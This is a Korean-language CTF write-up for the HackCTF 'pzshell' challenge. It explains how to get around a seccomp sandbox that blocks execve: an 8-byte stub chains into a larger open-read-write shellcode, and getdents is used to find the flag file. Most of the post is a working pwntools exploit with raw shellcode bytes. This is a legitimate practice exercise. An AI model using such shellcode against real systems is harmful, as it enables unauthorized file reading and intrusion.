이것도 ezshell 문제와 같이 쉘코딩 문제이다.

8바이트만 입력을 받는데 여기서 sandbox()는 세컴으로 execve, execveat 등을 막는다. 즉 쉘을 따는것이 불가능함로 ORW를 해야 한다.
하지만 8바이트만으로는 부족하므로, 8바이트 쉘코드로 read함수를 호출하도록 하여 입력을 많이 받으면 된다. ORW를 할 때 파일 이름을 모른다면 getdents 또는 getdents64 syscall을 이용하면 쉽게 알아낼 수 있다.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
from pwn import * | |
if len(sys.argv) != 2: | |
print "sys.argv[1] = r : remote l : local" | |
exit() | |
#context.log_level = 'debug' | |
if sys.argv[1].strip() == 'l': | |
p = process('./pzshell') | |
elif sys.argv[1].strip() == 'r': | |
p = remote('ctf.j0n9hyun.xyz', 3038) | |
e = ELF('./pzshell') | |
if sys.argv[1].strip() == 'l': | |
l = e.libc | |
elif sys.argv[1].strip() == 'r': | |
l = ELF('/lib/x86_64-linux-gnu/libc.so.6') | |
pause() | |
p.send("\x48\x87\xD6\xeb\xc8") # xchg rsi,rdx; jmp to syscall; | |
""" | |
#open | |
mov rsp, fs:[0] | |
mov rax, #### | |
push rax | |
lea rdi, [rsp] | |
xor edx, edx | |
xor esi, esi | |
mov rax, 2 | |
syscall | |
#read | |
mov rdi, rax | |
lea rsi, [rsp] | |
mov rdx, 0x1000 | |
mov rax, 0 | |
syscall | |
#write | |
mov rdi, 1 | |
lea rsi, [rsp] | |
mov rdx, rax | |
mov rax,1 | |
syscall | |
#getdents | |
mov rdi,rax | |
xor rdx,rdx | |
xor rax,rax | |
mov dx,0x3210 | |
lea rsi,[rsp] | |
mov al,0x4e | |
syscall | |
""" | |
s ="" | |
for i in "g41F_t3rc3S": | |
s += hex(ord(i))[2:] | |
print s | |
start = "\x64\x48\x8B\x24\x25\x00\x00\x00\x00" # mov rsp, fs:[0] | |
open = "\x48\x8D\x3C\x24\x31\xD2\x31\xF6\x48\xC7\xC0\x02\x00\x00\x00\x0F\x05" # open('rsp', 0, 0) | |
read = "\x48\x89\xC7\x48\x8D\x34\x24\x48\xC7\xC2\x00\x10\x00\x00\x48\xC7\xC0\x00\x00\x00\x00\x0F\x05" # read('rax', 'rsp', 0x1000) | |
write = "\x48\xC7\xC7\x01\x00\x00\x00\x48\x8D\x34\x24\x48\x89\xC2\x48\xC7\xC0\x01\x00\x00\x00\x0F\x05" #write(1, 'rsp', 'rax') | |
getdents = "\x48\x89\xC7\x48\x31\xD2\x48\x31\xC0\x66\xBA\x10\x32\x48\x8D\x34\x24\xB0\x4E\x0F\x05" # getdents('rax',rsp,0x3210) | |
# filename = asm(shellcraft.amd64.pushstr(".")) | |
# filename = asm(shellcraft.amd64.pushstr("S3cr3t_F14g")) | |
filename = "\x48\xC7\xC0\x31\x34\x67\x00\x50\x48\xB8\x53\x33\x63\x72\x33\x74\x5F\x46\x50" #push S3cr3t_F14g | |
# shellcode = "\x90" * 10 + start + filename + open + getdents + write + "\x90" * 10 | |
shellcode = "\x90" * 10 + start + filename + open + read + write + "\x90" * 10 | |
p.send(shellcode) | |
p.interactive() |
'CTF write-up > hackctf' 카테고리의 다른 글
[hackctf] adult_fsb (0) | 2020.01.13 |
---|---|
[hackctf] Unexploitable_4 (0) | 2020.01.13 |
[hackctf] wishlist (0) | 2020.01.12 |
Unexploitable_3 (0) | 2020.01.11 |
[hackctf] childheap (3) | 2019.11.29 |